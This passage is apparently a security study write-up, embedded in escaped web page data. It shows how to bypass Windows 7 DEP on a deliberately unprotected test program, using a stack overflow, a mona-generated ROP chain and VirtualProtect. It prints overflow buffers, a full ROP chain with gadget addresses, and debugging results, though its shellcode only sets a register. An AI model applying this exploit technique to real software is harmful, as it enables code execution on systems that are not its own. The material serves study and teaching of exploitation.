Version:\tRelease\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Project Properties:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cul>\u003Cli>GS Disabled\u003C\u002Fli>\u003Cli>Optimization Disabled\u003C\u002Fli>\u003Cli>SEH Disabled\u003C\u002Fli>\u003Cli>DEP Disabled\u003C\u002Fli>\u003Cli>ASLR Disabled\u003C\u002Fli>\u003Cli>C++ Exceptions Disabled\u003C\u002Fli>\u003Cli>Intrinsic Functions Disabled\u003C\u002Fli>\u003C\u002Ful>\u003Cp>\u003Cstrong>Specific Configuration Method:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Configuration Properties-C\u002FC++-All Properties\u003C\u002Fp>\u003Cul>\u003Cli>Security Check No(\u002FGS-)\u003C\u002Fli>\u003Cli>Enable C++ Exceptions No\u003C\u002Fli>\u003Cli>Enable Intrinsic Functions No\u003C\u002Fli>\u003Cli>Optimization Disabled(\u002FOd)\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Configuration Properties-Linker-All Properties\u003C\u002Fp>\u003Cul>\u003Cli>Data Execution Prevention (DEP) No(\u002FNXCOMPAT:NO)\u003C\u002Fli>\u003Cli>Randomized Base Address No(\u002FDYNAMICBASE:NO)\u003C\u002Fli>\u003Cli>Image Has Safe Exception Handlers No(\u002FSAFESEH:NO)\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x04 Actual Test\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Test 1:\u003C\u002Fh3>\u003Cp>Test Code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>char shellcode[]=\u003Cbr>\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\u003Cbr>\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\u003Cbr>\t\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\u003Cbr>\t\"\\x41\\x41\\x41\\x41\\x42\\x43\\x44\\x45\";\u003Cbr>\u003Cbr>void test()\u003Cbr>{\u003Cbr>\tchar buffer[48];\u003Cbr>\tmemcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\\n\");\u003Cbr>\ttest();\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>strcpy truncates early when encountering 0x00 during execution. To facilitate shellcode testing, replace strcpy with memcpy, which does not truncate upon encountering 0x00.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019827345_0_1a09f34c75-1.png\">\u003C\u002Fp>\u003Cp>As shown in the figure above, the return address was successfully overwritten to 0x45444342.\u003C\u002Fp>\u003Ch3>Test 2:\u003C\u002Fh3>\u003Cp>The shellcode starting address is 0x00403020.\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>PUSH 1\u003Cbr>POP ECX\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The corresponding machine code is 0x0059016A.\u003C\u002Fp>\u003Cp>Overwrite the return address with the shellcode starting address.\u003C\u002Fp>\u003Cp>The shellcode implements the following operations:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>PUSH 1\u003Cbr>POP ECX\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Fill other bits with 0x90.\u003C\u002Fp>\u003Cp>C code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>char shellcode[]=\u003Cbr>\t\"\\x6A\\x01\\x59\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\"\\x90\\x90\\x90\\x90\\x20\\x30\\x40\\x00\";\u003Cbr>\u003Cbr>void test()\u003Cbr>{\u003Cbr>\tchar buffer[48];\u003Cbr>\tmemcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\\n\");\u003Cbr>\ttest();\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019841014_1_30daf09d29-1.png\">\u003C\u002Fp>\u003Cp>As shown above, the shellcode executed successfully, and the ECX register was assigned a value of 1\u003C\u002Fp>\u003Ch3>Test 3:\u003C\u002Fh3>\u003Cp>Enable DEP, debug again, and find that the shellcode cannot execute, as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019861960_2_aefb0ad673-1.png\">\u003C\u002Fp>\u003Ch3>Test 4:\u003C\u002Fh3>\u003Cp>Download and install Immunity Debugger\u003C\u002Fp>\u003Cp>Download the mona plugin, the download address is as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fcorelan\u002Fmona\u003C\u002Fp>\u003Cp>Place mona.py under C:\\Program Files\\Immunity Inc\\Immunity Debugger\\PyCommands\u003C\u002Fp>\u003Cp>Start Immunity Debugger, open test.exe\u003C\u002Fp>\u003Cp>Use the mona plugin to automatically generate a ROP chain, input:\u003C\u002Fp>\u003Cp>!mona rop -m *.dll -cp nonull\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019867991_3_c535413dba-1.png\">\u003C\u002Fp>\u003Cp>mona searches for all DLLs to construct ROP chains\u003C\u002Fp>\u003Cp>After executing the command, files rop.txt, rop_chains.txt, rop_suggestions.txt, and stackpivot.txt are generated under C:\\Program Files\\Immunity Inc\\Immunity Debugger\u003C\u002Fp>\u003Cp>Check rop_chains.txt, which lists ROP chains that can be used to disable DEP; select the VirtualProtect() function\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019871686_4_93f55c0a82-1.png\">\u003C\u002Fp>\u003Cp>As shown above, the ROP chain is successfully constructed\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Different environments may not obtain complete parameters; analysis must be tailored to the specific environment\u003C\u002Fp>\u003Cp>The corresponding test POC is modified as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>unsigned int shellcode[]=\u003Cbr>{     \u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>      0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>\t  0x90909090,0x90909090,0x90909090,0x90909090,\u003Cbr>\t  0x90909090,\u003Cbr>      0x77217edd,  \u002F\u002F POP EAX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x77171910,  \u002F\u002F ptr to &amp;VirtualProtect() [IAT kernel32.dll]\u003Cbr>      0x75d7e9dd,  \u002F\u002F MOV EAX,DWORD PTR DS:[EAX] \u002F\u002F RETN [KERNELBASE.dll]\u003Cbr>      0x779f9dca,  \u002F\u002F XCHG EAX,ESI \u002F\u002F RETN [ntdll.dll]\u003Cbr>      0x779cdd30,  \u002F\u002F POP EBP \u002F\u002F RETN [ntdll.dll]\u003Cbr>      0x75dac58d,  \u002F\u002F &amp; call esp [KERNELBASE.dll]\u003Cbr>      0x693a7031,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll]\u003Cbr>      0xfffffdff,  \u002F\u002F Value to negate, will become 0x00000201\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll]\u003Cbr>      0x75da655d,  \u002F\u002F XCHG EAX,EBX \u002F\u002F ADD BH,CH \u002F\u002F DEC ECX \u002F\u002F RETN 0x10 [KERNELBASE.dll]\u003Cbr>      0x69329bb1,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll]\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0x41414141,  \u002F\u002F Filler (RETN offset compensation)\u003Cbr>      0xffffffc0,  \u002F\u002F Value to negate, will become 0x00000040\u003Cbr>      0x69354484,  \u002F\u002F NEG EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x771abd3a,  \u002F\u002F XCHG EAX,EDX \u002F\u002F RETN [kernel32.dll] \u003Cbr>      0x6935a7c0,  \u002F\u002F POP ECX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x693be00d,  \u002F\u002F &amp;Writable location [MSVCR110.dll]\u003Cbr>      0x779a4b9a,  \u002F\u002F POP EDI \u002F\u002F RETN [ntdll.dll] \u003Cbr>      0x69354486,  \u002F\u002F RETN (ROP NOP) [MSVCR110.dll]\u003Cbr>      0x693417cb,  \u002F\u002F POP EAX \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>      0x90909090,  \u002F\u002F nop\u003Cbr>      0x69390267,  \u002F\u002F PUSHAD \u002F\u002F RETN [MSVCR110.dll] \u003Cbr>\t  \t\u003Cbr>      0x9059016A,  \u002F\u002FPUSH 1  \u002F\u002F POP ECX \u002F\u002F NOP\u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090,\u003Cbr>      0x90909090\u003Cbr>};\u003Cbr>void test()\u003Cbr>{\u003Cbr>\tchar buffer[48];\t\u003Cbr>\tprintf(\"3\\n\");\u003Cbr>\tmemcpy(buffer,shellcode,sizeof(shellcode));\u003Cbr>}\u003Cbr>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\\n\");\u003Cbr>\ttest();\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>0x9059016A is the machine code for PUSH 1; POP ECX; NOP;. If DEP is bypassed, this instruction will execute successfully.\u003C\u002Fp>\u003Cp>Debug in OllyDbg after compilation\u003C\u002Fp>\u003Cp>Step through to CALL KERNELBA.VirtualProtectEX and examine the stack\u003C\u002Fp>\u003Cp>Can obtain the passed function parameters\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019877832_5_4e03a9e23f-1.jpeg\">\u003C\u002Fp>\u003Cp>As shown above, unfortunately the shellcode overwrites the SEH chain\u003C\u002Fp>\u003Cp>This will cause the parameters passed to the VirtualProtectEx function to be incorrect, resulting in a failed call. It is speculated that the return value of the VirtualProtectEx function call is 0\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019882398_6_aa086fd7a5-1.jpeg\">\u003C\u002Fp>\u003Cp>As shown above, verifying the above judgment, the EAX register indicates the return value, which is 0, indicating that modifying the memory attributes failed\u003C\u002Fp>\u003Cp>\u003Cstrong>Solution approach:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>We need to expand the stack space and move the SEH chain downward to ensure that the shellcode does not overwrite the SEH chain\u003C\u002Fp>\u003Cp>\u003Cstrong>Solution method:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Modify the source code to move the SEH chain downward by allocating space\u003C\u002Fp>\u003Ch3>Test 5:\u003C\u002Fh3>\u003Cp>Key code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>int main()\u003Cbr>{\u003Cbr>\tprintf(\"1\\n\");\u003Cbr>\ttest();\u003Cbr>\tchar Buf[] = \u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"\u003Cbr>\t\t\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\";\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile the program and debug it again in OllyDbg\u003C\u002Fp>\u003Cp>Step through to the CALL KERNELBA.VirtualProtectEX and examine the stack\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019886342_7_1c45802107-1.jpeg\">\u003C\u002Fp>\u003Cp>SEH chain successfully 'shifted down', located at high address, not overwritten by shellcode\u003C\u002Fp>\u003Cp>Parameters passed to VirtualProtectEx function are correct at this moment\u003C\u002Fp>\u003Cp>Press F8 to step through and view results\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019888329_8_bdbc12464f-1.jpeg\">\u003C\u002Fp>\u003Cp>As shown above, return value is 0, memory attribute modification still failed\u003C\u002Fp>\u003Cp>LastErr shows error as ERROR_INVALID_ADDRESS (000001E7), indicating address error\u003C\u002Fp>\u003Ch3>Test 6:\u003C\u002Fh3>\u003Cp>Examine stack during normal VirtualProtect() function call, compare with Test 5 to analyze failure reason\u003C\u002Fp>\u003Cp>Implementation code for normal call is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>int main()\u003Cbr>{\u003Cbr>\u003Cbr>\tvoid *p=malloc(16);\u003Cbr>\tprintf(\"0x%08x\\n\",p);\u003Cbr>\tDWORD pflOldProtect;\u003Cbr>\tint x=VirtualProtect(p,4,0x40,&amp;pflOldProtect);\u003Cbr>\tprintf(\"%d\\n\",x);\u003Cbr>\treturn 0;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>Test 7:\u003C\u002Fh3>\u003Cp>If the starting address is modified to an inaccessible address, such as 0x40303020\u003C\u002Fp>\u003Cp>Compile the program and debug it in OllyDbg\u003C\u002Fp>\u003Cp>Step trace to CALL KERNELBA.VirtualProtectEX, examine the stack\u003C\u002Fp>\u003Cp>Format as shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019890051_9_1891ecbc6a-1.jpeg\">\u003C\u002Fp>\u003Cp>Press F8 to step through and view the result\u003C\u002Fp>\u003Cp>As shown in the figure, the same error occurs: ERROR_INVALID_ADDRESS (000001E7)\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019891193_10_3af78ab982-1.png\">\u003C\u002Fp>\u003Cp>Hypothesis: the starting address passed to the shellcode is problematic\u003C\u002Fp>\u003Cp>Continue with our testing\u003C\u002Fp>\u003Ch3>Test 8\u003C\u002Fh3>\u003Cp>Continue testing 5, single-step trace to CALL KERNELBA.VirtualProtectEX, attempt to modify data on the stack\u003C\u002Fp>\u003Cp>Modify memory address 0x0012FF2c to the starting address of the current memory page, i.e., 0x0012F000\u003C\u002Fp>\u003Cp>As shown in the figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019892056_11_3e99fff9c0-1.jpeg\">\u003C\u002Fp>\u003Cp>Press F8 to single-step execute and view the result\u003C\u002Fp>\u003Cp>As shown in the figure below, the value of register EAX is 1, meaning the return value is 1, successfully modified memory attributes\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019892647_12_ab6c8d8f99-1.jpeg\">\u003C\u002Fp>\u003Cp>Continue execution downward, press F7 at the CALL ESP position to single-step into\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019893655_13_dfade41945-1.png\">\u003C\u002Fp>\u003Cp>As shown in the figure above, it is found that PUSH 1; POP ECX executed successfully, test successful, successfully bypassed DEP via VirtualProtect and executed shellcode in the data segment\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>In this case, VirtualProtectEX can only modify up to 4096 bytes of memory at a time (i.e., the length of one memory page) and cannot modify across pages. If it exceeds the boundary, the return value is 0, indicating modification failure\u003C\u002Fp>\u003Cp>The C function call VirtualProtect does not have the above issue, can modify across pages, and length can exceed 4096\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>When setting up a testing environment under Win7, special attention must be paid to the compilation configuration of VS2012. Multiple protections enhance program security but also complicate environment setup.\u003C\u002Fp>\u003Cp>Available alternative instructions often differ across systems, requiring continuous adaptation of strategies to construct suitable ROP chains.\u003C\u002Fp>\u003Cp>Additionally, the mona plugin for Immunity Debugger can facilitate ROP chain development, but be aware of potential bugs, necessitating more testing and optimization.\u003C\u002Fp>\u003Cp>If the shellcode length exceeds 4096, using VirtualProtect to disable DEP will fail, requiring alternative methods.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",1566,"Onedaysec",7,"published","2026-02-02T08:19:47.662Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Bypassing DEP via VirtualProtect: Windows Shellcode Study Notes","DEP bypass, VirtualProtect, ROP chains, Windows security, shellcode, stack overflow, Win7 exploitation, Immunity Debugger, mona plugin",null,false,[],{"docs":43,"hasNextPage":40},[4,44,45,46,47],174,173,172,171,{"title":39,"description":39,"image":39},"2026-07-24T15:37:14.919Z","2026-07-23T16:01:07.712Z","draft","2026-07-23T16:04:15.248Z"]